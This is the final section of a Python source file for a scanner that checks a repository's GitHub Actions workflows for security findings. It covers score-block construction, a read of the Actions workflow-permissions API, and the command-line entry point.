  6609. # impostor check would go quiet with no sign of why.
  6610. "action_lockfile": _action_lockfile_summary(root, workflow_files),
  6611. # Findings the scanner REACHED and deliberately did not report, above
  6612. # all a fetch pinned to a full commit id. Informational: this must
  6613. # never degrade coverage, or a repository that did exactly what the fix
  6614. # recipe says is told its report is not a clean result.
  6615. "suppressed_findings": suppressed_findings,
  6616. # The config facts + the security component of the CI Score
  6617. # (ci-secure owns this number; the ten vectors above stay
  6618. # findings-only and never enter it). Unscannable workflows force
  6619. # every workflow-scoped fact to UNMEASURED, never a silent pass — but
  6620. # a merely unanchored `run:` step does not: the file parsed, so the
  6621. # facts about it are real.
  6622. #
  6623. # **The AGGREGATE here is machine-only and is deliberately never
  6624. # rendered to a reader** — a deliberate design choice. The block's
  6625. # CONTRACT is unchanged because ci-advisor blends from it: same keys,
  6626. # same `fact_id`s, same `outcome`s, same `score`/`passed`/
  6627. # `scored_count`/`applicable_count`/`unmeasured`/`constants`/
  6628. # `registered`. Only human-readable prose inside it moved (a `fact`
  6629. # sentence and the crash-path `reason`, both of which the report
  6630. # PRINTS and so had to stop referring to a score) — so it is
  6631. # shape-compatible, not byte-identical. Bind to the ids, not the
  6632. # prose. `report.py`
  6633. # renders the FACTS as a `## 🧰 Config hygiene checks — pass/fail`
  6634. # table and no number at all. A hygiene aggregate labelled "Security
  6635. # score" overclaims what a handful of config observations can say and collides
  6636. # with the vector scan printed beside it — an early run read "5 of 6
  6637. # facts pass" above ten green rows as a contradiction.
  6638. #
  6639. # This exact back-and-forth has already happened ONCE, in the other
  6640. # direction: a review restored the rendered score on the argument that
  6641. # "a score computed but not shown is a number the reader cannot
  6642. # check". That argument is answered, not overlooked — the number is
  6643. # not shown to the reader because it is not FOR the reader.
  6644. # `tests/verify_report.py::check_no_rendered_security_score` makes the
  6645. # invisibility an invariant. Do not "fix" it again.
  6646. "security_score": _compute_security_score(root, workflow_files,
  6647. scan_incomplete, repo),
  6648. }
  6649. def _fetch_workflow_permissions(repo: str) -> dict[str, Any]:
  6650. """The repository's default workflow-token settings, from the API.
  6651. `GET repos/{owner}/{repo}/actions/permissions/workflow` returns
  6652. `default_workflow_permissions` and `can_approve_pull_request_reviews`.
  6653. Raises on any failure; `_pr_approval_setting` turns that into "unread".
  6654. """
  6655. from gh_utils import check_prereqs, run_gh_api # noqa: E402
  6656. if not check_prereqs():
  6657. raise RuntimeError("gh is unavailable or not signed in (run gh auth login)")
  6658. body = json.loads(run_gh_api(
  6659. f"repos/{repo}/actions/permissions/workflow",
  6660. quiet_not_found=True, quiet_forbidden=True))
  6661. if not isinstance(body, dict):
  6662. raise RuntimeError("the API returned something other than an object")
  6663. return body
  6664. def _pr_approval_setting(repo: str | None) -> dict[str, str]:
  6665. """{"state": "true"|"false"|"unread", "detail": ...} for P14.18.
  6666. Network-gated like the API-read config facts: it needs `owner/repo` and a
  6667. signed-in gh. Anything short of a boolean from the API is "unread" with
  6668. the reason, never a default — a guessed "false" would tell a reader a
  6669. hijacked job cannot approve pull requests when nobody looked.
  6670. """
  6671. if not repo:
  6672. return {"state": "unread", "detail": (
  6673. "this scan had no repository to read the setting from (it needs "
  6674. "gh signed in and a GitHub remote)")}
  6675. try:
  6676. body = _fetch_workflow_permissions(repo)
  6677. except Exception as exc: # noqa: BLE001
  6678. reason = " ".join(str(exc).split())[:200]
  6679. return {"state": "unread",
  6680. "detail": f"the setting could not be read ({reason})"}
  6681. value = body.get("can_approve_pull_request_reviews")
  6682. if value is True:
  6683. return {"state": "true",
  6684. "detail": "read from the repository's Actions settings"}
  6685. if value is False:
  6686. return {"state": "false",
  6687. "detail": "read from the repository's Actions settings"}
  6688. return {"state": "unread", "detail": (
  6689. "the API answered without a `can_approve_pull_request_reviews` value")}
  6690. def _compute_security_score(
  6691. root: Path, workflow_files: list[Path],
  6692. scan_incomplete: list[dict[str, str]],
  6693. repo: str | None = None,
  6694. ) -> dict[str, Any]:
  6695. """Isolated so a facts-layer crash degrades to an honest 'unmeasured'
  6696. block instead of taking down the whole scan (the vectors are the product's
  6697. core; the score must never be the reason a scan dies)."""
  6698. try:
  6699. import config_facts
  6700. return config_facts.compute_config_facts(root, workflow_files,
  6701. scan_incomplete, repo=repo)
  6702. except Exception as exc: # noqa: BLE001
  6703. logger.warning("security_score unavailable: %r", exc)
  6704. # Same key set as facts_to_score, so a consumer never has to branch on
  6705. # which path produced the block — a `constants` KeyError that fires
  6706. # only on the failure path is the worst place to discover the gap.
  6707. return {"facts": [], "score": None, "passed": 0, "scored_count": 0,
  6708. "applicable_count": 0, "unmeasured": [], "not_applicable": [],
  6709. "constants": {"rule": "100 * passed / scored; pass/fail only, "
  6710. "no weights, no partial credit"},
  6711. # `reason` is READER-VISIBLE: report.py prints it in the
  6712. # "Nothing here was checked" headline whenever `facts` is
  6713. # empty, which is exactly this path. So it must not talk about
  6714. # a score — the report renders none by design, and "this is NOT a score of 100" in a report with no score
  6715. # is the removed contract leaking back at the reader.
  6716. "reason": f"config-facts layer failed: {exc!r} — no config "
  6717. "fact could be checked", "registered": None,
  6718. # The unscored push-access lists, in their "not checked"
  6719. # shape: an inventory absent from a crashed run must not read
  6720. # as "no secrets exposed".
  6721. "push_access": {
  6722. "status": "not_checked",
  6723. "reason": "the config-facts layer failed",
  6724. "environments": [],
  6725. "inventory": {"status": "not_checked",
  6726. "repo_secrets": None, "org_secrets": None,
  6727. "high_value": [],
  6728. "reason": "the config-facts layer failed"},
  6729. "tier1_gap": "", "credential_note": ""}}
  6730. def _default_catalog_path() -> Path:
  6731. return _THIS_DIR.parent / "references" / "security-patterns.md"
  6732. def main(argv: list[str] | None = None) -> int:
  6733. parser = argparse.ArgumentParser(
  6734. description="Scan a repo's GitHub Actions workflows for security findings.",
  6735. )
  6736. parser.add_argument(
  6737. "--catalog",
  6738. type=Path,
  6739. default=_default_catalog_path(),
  6740. help="Path to security-patterns.md (default: bundled catalog).",
  6741. )
  6742. parser.add_argument(
  6743. "--root",
  6744. type=Path,
  6745. default=Path.cwd(),
  6746. help="Repo root to scan (default: cwd).",
  6747. )
  6748. parser.add_argument(
  6749. "--repo",
  6750. type=str,
  6751. default=None,
  6752. help="owner/repo to enrich findings with workflow activity (optional).",
  6753. )
  6754. parser.add_argument(
  6755. "--gh-impostor",
  6756. choices=["auto", "on", "off"],
  6757. default="auto",
  6758. help=(
  6759. "The P14.11 impostor-SHA check and P14.24's release-"
  6760. "immutability lookup need the GitHub API. auto (default): run "
  6761. "iff gh is authenticated; on: require it (error if gh "
  6762. "unavailable); off: skip (recorded loudly in gh_checks)."
  6763. ),
  6764. )
  6765. args = parser.parse_args(argv)
  6766. root = args.root.resolve()
  6767. if not (root / ".github" / "workflows").is_dir():
  6768. print(
  6769. f"ERROR: no .github/workflows directory under {root}",
  6770. file=sys.stderr,
  6771. )
  6772. return 1
  6773. if args.repo:
  6774. # Validate the format up front so a malformed value (e.g. a full URL,
  6775. # an `owner` with no slash, or a `git@github.com:owner/repo.git`
  6776. # remote) surfaces as an error instead of silently dropping activity
  6777. # enrichment on every finding.
  6778. from gh_utils import validate_repo_format # noqa: E402
  6779. ok, err = validate_repo_format(args.repo)
  6780. if not ok:
  6781. print(f"ERROR: --repo: {err}", file=sys.stderr)
  6782. return 2
  6783. try:
  6784. catalog = load_catalog(args.catalog)
  6785. except (FileNotFoundError, ValueError) as e:
  6786. print(
  6787. f"ERROR: the pattern catalog is broken — {e}\n"
  6788. f" This is a COVERAGE FAILURE, not a clean scan: the "
  6789. f"affected chain would never be evaluated. Reinstall the skill "
  6790. f"(or fix {args.catalog}) and re-run.",
  6791. file=sys.stderr,
  6792. )
  6793. return 1
  6794. gh_skip_reason = _gh_unavailable_reason()
  6795. if args.gh_impostor == "on":
  6796. from gh_utils import check_prereqs # noqa: E402
  6797. if not check_prereqs():
  6798. print(
  6799. f"ERROR: --gh-impostor=on but {gh_skip_reason}",
  6800. file=sys.stderr,
  6801. )
  6802. return 2
  6803. gh_impostor = True
  6804. elif args.gh_impostor == "auto":
  6805. from gh_utils import check_prereqs # noqa: E402
  6806. gh_impostor = check_prereqs()
  6807. else:
  6808. gh_impostor = False
  6809. gh_skip_reason = "disabled via --gh-impostor=off"
  6810. try:
  6811. result = scan(
  6812. catalog, root, repo=args.repo, gh_impostor=gh_impostor,
  6813. gh_skip_reason=gh_skip_reason,
  6814. )
  6815. except CoverageError as e:
  6816. print(f"ERROR: coverage failure — {e}", file=sys.stderr)
  6817. return 1
  6818. json.dump(result, sys.stdout, indent=2)
  6819. sys.stdout.write("\n")
  6820. return 0
  6821. if __name__ == "__main__":
  6822. sys.exit(main())

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.